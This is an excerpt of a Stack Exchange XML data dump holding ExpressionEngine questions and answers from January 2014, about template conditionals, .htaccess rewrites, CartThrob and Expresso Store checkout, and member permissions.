  <row Id="18080" PostTypeId="1" CreationDate="2014-01-04T21:36:19.950" Score="3" ViewCount="241" Body="&lt;p&gt;My client sells Small, Medium, and Large sizes of many products that vary dramatically in weight, and can make a significant difference in shipping cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob Price modifiers allowed me to add columns for things such as &quot;Weight&quot;, which I could then pass along as a hidden field when adding the product to the cart. Do Expresso Product Modifiers allow anything similar?&lt;/p&gt;&#xA;" OwnerUserId="2504" LastActivityDate="2017-02-23T18:28:33.753" Title="Expresso Store: Add a custom weight to a Product Modifier" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18081" PostTypeId="1" AcceptedAnswerId="18083" CreationDate="2014-01-05T09:02:58.253" Score="0" ViewCount="120" Body="&lt;p&gt;I'm using DevDemon Forms, on two of my pages, which requires that jquery be included in the the document head. On other pages however, I want to include jquery in the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i thought I would post this in the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_2}&quot; == &quot;skjema&quot; OR &quot;{segment_2}&quot; == &quot;nyhetsbrev&quot;}&#xA;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;window.jQuery || document.write('&amp;lt;script src=&quot;{site_url}js/vendor/jquery-1.9.1.min.js&quot;&amp;gt;&amp;lt;\/script&amp;gt;')&amp;lt;/script&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then post this in the footer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_2}&quot; != &quot;skjema&quot; OR &quot;{segment_2}&quot; != &quot;nyhetsbrev&quot;}&#xA;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;window.jQuery || document.write('&amp;lt;script src=&quot;{site_url}js/vendor/jquery-1.9.1.min.js&quot;&amp;gt;&amp;lt;\/script&amp;gt;')&amp;lt;/script&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first part works fine, as jquery is now only included in the header on page &quot;skjema&quot; and &quot;nyhetsbrev&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part does not work, as it includes jquery no matter what, which means I'm including jquery twice on pages using Forms.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-01-05T11:06:13.910" Title="If not conditional not behaving as expected (== works, != doesn't)" Tags="|conditionals|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18082" PostTypeId="2" ParentId="18057" CreationDate="2014-01-05T09:29:05.140" Score="1" Body="&lt;p&gt;&quot;You can moderate *who* is allowed to post, but not the posts themselves.&quot;&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/219793/#1013472&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/219793/#1013472&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure, but maybe you can create a post-only forum (for the &quot;new-member&quot; group) and once approved move the message to the regular forums and assign the user to &quot;regular-members&quot; group.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-01-05T09:29:05.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18083" PostTypeId="2" ParentId="18081" CreationDate="2014-01-05T11:06:13.910" Score="4" Body="&lt;p&gt;TL;DR: Use &lt;code&gt;AND&lt;/code&gt; in your second conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, it &lt;strong&gt;is&lt;/strong&gt; working as expected. In the first conditional, you're saying &lt;em&gt;if x is a or x is b&lt;/em&gt;, which will return &lt;code&gt;true&lt;/code&gt; if x is a or b. The second conditional says &lt;em&gt;if x is not a or x is not b&lt;/em&gt;, which will return &lt;code&gt;true&lt;/code&gt; if x is a or b, as x cannot be both. Simple logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I take it you want the second conditional to be the opposite of the first one, so: &lt;em&gt;if x is not a or b&lt;/em&gt;, which is the same as &lt;em&gt;if x is not a and x is not b&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &quot;skjema&quot; AND segment_2 != &quot;nyhetsbrev&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also note that I've removed the quotes and curly braces around the segment vars, which is best practice.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-05T11:06:13.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18084" PostTypeId="2" ParentId="17334" CreationDate="2014-01-05T18:53:52.747" Score="1" Body="&lt;p&gt;I tend to use MSM when the content is significantly different, but the 'old style' method for when sub-sites or shared sites have very similar content. It's pretty easy to set-up, I generally just add a field called 'subsite' which matches the info in admin.php, then use in field search.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2014-01-05T18:53:52.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18085" PostTypeId="1" CreationDate="2014-01-05T19:37:29.667" Score="0" ViewCount="291" Body="&lt;p&gt;I'm using the code from the EE user guide:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's working fine but the time loading pages is affected, with index.php the page loading is very fast &amp;lt; 1000ms , removing index.php it's slower (8000-10000ms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system folder of the site is one step above the root, the problem of slowness could be have a relation with : &lt;code&gt;RewriteCond %{REQUEST_URI} !/system/.* [NC]&lt;/code&gt; ?? &#xA;How to set the correct path, one step above the root of &lt;code&gt;!/system/.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-01-05T19:51:01.647" LastActivityDate="2016-02-23T17:50:42.337" Title="when removing index.php slow down the site" Tags="|system|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18086" PostTypeId="1" CreationDate="2014-01-05T20:14:02.660" Score="1" ViewCount="124" Body="&lt;p&gt;I recently added New Relic to my server to look at performance. It has been a lifesaver for finding issues. It's currently showing the events page that uses Calendar by Solspace has the highest load time by a huge margin (16.6 seconds at last check). Part of the issue is the methodology in which I display events which I'm attempting to improve. The other is the number of old events it has to look through. There are over 450 as of last count with most being outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to close or delete an event once it's completed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running:&#xA;EE 2.7.3&#xA;Calendar 1.8.5&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2014-01-05T20:14:02.660" Title="Close or Delete Old Events in Calendar" Tags="|solspace-calendar|newrelic|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18087" PostTypeId="2" ParentId="18085" CreationDate="2014-01-05T22:00:00.270" Score="0" Body="&lt;p&gt;I would remove that rule completely since it's not necessary as your system folder is above the webroot. May want to simplify your rules as you seem to have unnecessary rules. My typical EE &lt;code&gt;.htaccess&lt;/code&gt; is as simple as this (&lt;em&gt;ymmv&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-01-05T22:00:00.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18088" PostTypeId="1" AcceptedAnswerId="18100" CreationDate="2014-01-05T22:53:49.387" Score="1" ViewCount="66" Body="&lt;p&gt;In the Payment Gateways section of the Store add-on docs (&lt;a href=&quot;https://exp-resso.com/docs/payment_gateways.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/payment_gateways.html&lt;/a&gt;) it says that the off-site gateways require just one simple payment tag and that &lt;code&gt;No extra configuration is necessary.&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does that actually mean in practice? Can anyone describe the process that a customer would go through in such a scenario? Is the customer taken to an external site during the payment process? If so, at what point in the process? Do customers select items, colors etc. and then get taken to an external site to pay, and finally land back on the original site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice or experience with this. :-)&lt;/p&gt;&#xA;" OwnerUserId="1048" LastActivityDate="2014-01-06T11:35:18.683" Title="Conceptual question regarding Store add-on" Tags="|expresso-store|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18090" PostTypeId="1" AcceptedAnswerId="18177" CreationDate="2014-01-06T00:32:30.367" Score="1" ViewCount="122" Body="&lt;p&gt;I have this conditional&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{logged_in_group_id}' == '{exp:config_variables:get name=&quot;xxxxx&quot;}'}...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;{logged_in_group_id}&lt;/code&gt; is equal to 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;{exp:config_variables:get name=&quot;xxxxx&quot;}&lt;/code&gt; is equal to 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why does this conditional return false?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried using a literal value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if '{logged_in_group_id}' == '3'}...&#xA;{if '3' == '{exp:config_variables:get name=&quot;xxxxx&quot;}'}...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but they still returned false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong with this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-01-08T00:25:44.440" Title="Conditional not evaluating as expected" Tags="|conditionals|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18093" PostTypeId="1" AcceptedAnswerId="18095" CreationDate="2014-01-06T04:15:51.300" Score="0" ViewCount="247" Body="&lt;p&gt;I get this message at the bottom of the page of the control panel:&#xA;&quot;You've gone idle, please enter your password to continue.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NrJVS.png&quot; alt=&quot;Idle message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just updated to ExpressionEngine to 2.7.3&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2014-01-06T04:41:13.763" Title="Idle message when logged in to control panel" Tags="|control-panel|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18094" PostTypeId="2" ParentId="17982" CreationDate="2014-01-06T04:17:15.430" Score="1" Body="&lt;p&gt;I don't have experience with the channel form hooks, but I have implemented something similar using the the entry_submission_start hook, which should get fired on an entry submission regardless of whether it comes from the front-end or backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access and modify the channel data before it gets inserted by accessing &lt;code&gt;$this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;data&lt;/code&gt; by reference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like so would set &lt;code&gt;field_id_281&lt;/code&gt; to have the value of &lt;code&gt;foo&lt;/code&gt; regardless of what was submitted in the entry form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function entry_submission_start( $channel_id = 0, $autosave = FALSE )&#xA;{   &#xA;    // access our data by referece&#xA;    $this-&amp;gt;data =&amp;amp; $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;data;&#xA;    $this-&amp;gt;data['field_id_281'] = 'foo';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd replace $this-&gt;EE with ee() on EE version 2.7+&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2014-01-06T04:17:15.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18095" PostTypeId="2" ParentId="18093" CreationDate="2014-01-06T04:41:13.763" Score="3" Body="&lt;p&gt;To me that looks like a JS conflict with a cp add-on like Devot:EE monitor or a straight out EE theme error. Presumably on a new entry screen you'll see the file manager modal down there too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try replacing/re-uploading the themes folder for EE, updating the accessories to latest (or any extensions which modify the CP JS), then clear your browser cache.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2014-01-06T04:41:13.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18096" PostTypeId="1" CreationDate="2014-01-06T08:00:30.650" Score="0" ViewCount="196" Body="&lt;p&gt;I have to add a text, that describes the current category but I have to put it outside the channel tag with a single entry and if the category_id is for example number 5, I have to get a text that describes that specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with an idea how to do that?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2017-01-25T01:30:55.003" Title="Get category_group and category_id outside the channel tag and use it to display category description text" Tags="|channel-entries|categories|stash|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18097" PostTypeId="1" AcceptedAnswerId="18181" CreationDate="2014-01-06T09:43:00.293" Score="2" ViewCount="136" Body="&lt;p&gt;Does anyone know if there is there a way to lock down certain member groups in the CP so other members can’t delete member accounts belonging to those member groups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a specific member group, let's call them 'Administrators' which need to be able to create members and delete members in another member group, called 'Customers'. But I don't want the 'Administrators' to be able to delete members in other member groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make sense. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2299" LastEditorUserId="22" LastEditDate="2014-01-07T15:30:06.260" LastActivityDate="2014-01-09T04:47:50.947" Title="Lock down certain member groups in the CP so other members can’t delete them?" Tags="|members|control-panel|delete|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18098" PostTypeId="1" CreationDate="2014-01-06T10:53:25.477" Score="1" ViewCount="993" Body="&lt;p&gt;I moved an ee page to the live server and now the subpages of the site don't work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I disabled the index.php removal directive and added index.php in the cp Panel.&#xA;But that didn't help so it can't be a htaccess issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the Multilanguage Plugin by Bieber ltd. Im not sure if this is caused by the multilanguage plugin because tha language switch works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the heck can I find out this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also on my mamp environement it works all fine so it could be a server issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site runs temporarily on a subdomain. Could this be the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page can be viewed &lt;a href=&quot;http://meteonorm.meteotest.ch/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="184" LastEditorUserId="184" LastEditDate="2014-01-06T11:26:12.873" LastActivityDate="2014-01-06T15:05:47.740" Title="Subpages not working" Tags="|url|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18099" PostTypeId="1" CreationDate="2014-01-06T10:58:29.850" Score="0" ViewCount="93" Body="&lt;p&gt;I know this issue has been mentioned before, but I can't find a solution to the problem anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why when you edit a form submission, the fields don't appear in the same order as the form. I know you can edit how they appear in the main entries listings, but this doesn't carry over to the edit page for each individual entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to edit the plugin to do this, but am getting no where as my knowledge of object oriented PHP isn't great enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something simple that I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried deleting all forms and creating all the fields in the correct order. But even then, when you add an entry and try and edit it, the submission still appears alphabetically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please shed some light on this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew&lt;/p&gt;&#xA;" OwnerUserId="2497" LastActivityDate="2016-06-04T21:48:27.817" Title="Freeform edit entry in the same order as the from" Tags="|ee2|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18100" PostTypeId="2" ParentId="18088" CreationDate="2014-01-06T11:35:18.683" Score="2" Body="&lt;p&gt;Absolutely. Essentially all you need to add is the &lt;code&gt;payment_method&lt;/code&gt; parameter in the checkout tag, enter in your details for the payment gateway via the Control Panel and you're ready to start accepting payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, the exact customer journey is completely up to you however. You may wish to design a one-page checkout or you may have various options and steps along the way you wish to add to collect extra information pertaining to the order. Single or multi-step checkouts can both be accommodated. Products (and their variations) will always be listed and chosen on your domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to the payment process, again it depends on which &lt;a href=&quot;https://exp-resso.com/docs/payment_gateways.html&quot; rel=&quot;nofollow&quot;&gt;payment gateway&lt;/a&gt; you select. There are a large number that ship as standard with Store. Some of these are &quot;on-site&quot; and some are  &quot;off-site&quot; payment processors. &quot;Off-site&quot; is the easiest (and probably the recommended way) of handling payment processing as you then shift the burden of PCI-DSS compliance on to the payment gateway who will provide end-to-end security of the transaction and pass the user back to the site once the payment has been made for order confirmation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;On-site&quot; essentially means that you're taking a users' payment details on your actual website so it's completely down to you to ensure that security is provided by way of an encrypted transaction. It's highly recommended that you &lt;strong&gt;never&lt;/strong&gt; store any payment information on your own site or servers but if you do then you need to ensure that you're fully PCI-DSS compliant (and that's no small feat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the easiest way to get up and running is to choose an off-site payment gateway, sign up for an account, enter in your account details via the Control Panel, and then set the &lt;code&gt;payment_method&lt;/code&gt; to the corresponding gateway on the &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html&quot; rel=&quot;nofollow&quot;&gt;Checkout tag&lt;/a&gt;. Your products are listed as regular Channel entries with whatever custom fields you wish to add in the usual way to working with ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-01-06T11:35:18.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18101" PostTypeId="2" ParentId="18080" CreationDate="2014-01-06T11:54:32.223" Score="3" Body="&lt;p&gt;It's not currently possible to set a specific weight to each product variation (modifier option) although it has been requested and in consideration as to the best way to present this as an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present your two options are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) To create separate products for each weight variation. This way you can set a handling charge to each one if needed or just set the weight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Create a custom extension using the &lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;extension hooks&lt;/a&gt; to set the shipping price based on user selection. This could be by way of an adjuster, a handling charge or just additional shipping charges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The viability of the first one depends on the quantity of products and product variations you have. If it's a small inventory then this may be fine but for larger inventories it may not be ideal.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-01-06T11:54:32.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18102" PostTypeId="2" ParentId="18072" CreationDate="2014-01-06T12:33:06.657" Score="2" Body="&lt;p&gt;Eric Lamb's add-on, among it's many other rather cool features, &lt;a href=&quot;http://devot-ee.com/add-ons/securitee&quot; rel=&quot;nofollow&quot;&gt;Securit:ee&lt;/a&gt; includes an extension that does provide the amine the ability to auto-expire a member account within a given group after a set amount of time.  Might be worth a look.  I don't see mention of it changing the member from one group to another automatically though - just expiring the account.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-06T12:33:06.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18103" PostTypeId="1" CreationDate="2014-01-06T12:40:50.383" Score="0" ViewCount="99" Body="&lt;p&gt;In a Catch-22 situation where SagePay won't approve a merchant account for client unless we have a working dev site for them to test a transaction on which is set up to integrate with … SagePay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, have set up a CartThrob install using Twitter bootstrap to keep things simple with the gateway at checkout set to 'SagePay Europe Offsite (Server)'. However, on checkout I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&amp;lt;url&amp;gt; malformed (3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure how to troubleshoot or debug. My immediate guess is that the vendor name (which I don't yet have as the merchant account is pending approval) is required for sending a user to SagePay during checkout. Is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-01-07T10:30:17.357" Title="SagePay (server) error message" Tags="|cartthrob|checkout|sagepay|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18104" PostTypeId="1" AcceptedAnswerId="18107" CreationDate="2014-01-06T13:38:49.463" Score="2" ViewCount="322" Body="&lt;p&gt;I'm trying to get an archive to work on a web page, based on entries per year. This, in combination with an isotope-like filtering of categories. I want to output entries based on year, and then output the categories attached to these posts to use for the filtering. I've managed to get the year sorting to work by using &lt;a href=&quot;http://gotolow.com/addons/low-yearly-archives/&quot; rel=&quot;nofollow&quot;&gt;Low Yearly Archives&lt;/a&gt;, but I can't add a year parameter in the categories tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that outputs the categories looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories style=&quot;linear&quot; channel=&quot;News&quot; category_group=&quot;1&quot; dynamic=&quot;no&quot; show_empty=&quot;no&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a class=&quot;filter&quot; data-filter=&quot;{category_name}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the code that outputs the entries looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;News&quot; dynamic=&quot;no&quot; limit=&quot;12&quot; year=&quot;{segment_2}&quot;}&#xA;  {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This takes the segment_2 from the url which low yearly archives outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the categories outputs all categories from all years, not the one from segment_2. If only the channel category tag had accepted a year parameter, this would have been solved.&#xA;Any idea how to solve this? I've tried combining channel category and channel entries tags, but I can't get the combination to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I've tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;News&quot; dynamic=&quot;no&quot; limit=&quot;12&quot; year=&quot;{segment_2}&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a class=&quot;filter&quot; data-filter=&quot;{categories}{category_name}&quot;&amp;gt;{category_name}{/categories}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And although this outputs the categories assigned to the corresponding posts, I get duplicates. So I need to output unique ones.&lt;/p&gt;&#xA;" OwnerUserId="2111" LastEditorUserId="2111" LastEditDate="2014-01-06T13:51:28.370" LastActivityDate="2014-01-06T15:13:47.897" Title="Show categories of entries based on year" Tags="|channel-entries|categories|low-yearly-archives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18105" PostTypeId="1" AcceptedAnswerId="18109" CreationDate="2014-01-06T14:16:01.527" Score="1" ViewCount="111" Body="&lt;p&gt;I am trying to display different information on the order complete page, based on the used gateway. I have something like this at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if authorized}&#xA;&#xA;    {if {payment_gateway} == ct_offline_payments}&#xA;&#xA;    Display this&#xA;&#xA;    {/if}&#xA;&#xA;    {if {payment_gateway} == paypal_express}&#xA;&#xA;    Display that&#xA;&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This however results in both blocks being displayed. I tried a lot of differnt syntax variations, some resulting in displaying nothing at all, some in displaying both and I just can't get it right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks and Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT/UPDATE:&#xA;Thanks Alex, but unfortunately this isn't working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set the page layout --}&#xA;{stash:embed:layouts:standard}&#xA;&#xA;{exp:stash:set name=&quot;page-title&quot; parse_tags=&quot;yes&quot;}Bestellung abgeschlossen. Vielen Dank für Ihren Einkauf bei FOXGEAR!{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;body_id&quot;}abgeschlossen{/exp:stash:set}&#xA;&#xA;{!-- main page variables --}&#xA;{exp:stash:set name=&quot;maincontent&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;{if no_results OR segment_4!=&quot;&quot;}{redirect=&quot;404&quot;}{/if}&#xA;            &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div&amp;gt;&#xA;                    {exp:cartthrob:submitted_order_info dec_point=&quot;,&quot; thousands_sep=&quot;.&quot;}&#xA;&#xA;                    {order_payment_gateway}&#xA;&#xA;                    {if order_payment_gateway == &quot;ct_offline_payments&quot;}&#xA;                        Offline&#xA;                    {if:elseif order_payment_gateway == &quot;paypal_express&quot;}&#xA;                        PayPal&#xA;                    {if:else}&#xA;                        Other&#xA;                    {/if}&#xA;&#xA;                    {/exp:cartthrob:submitted_order_info}&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /content --&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the rendered page outputs this (in content div):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{order_payment_gateway} Other&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's it. Nothing else (header and footer working fine). :(&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditDate="2014-01-06T15:58:48.290" LastActivityDate="2014-01-06T16:48:23.780" Title="CartThrob: conditionally display info based on payment gateway on order confirmation page" Tags="|cartthrob|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
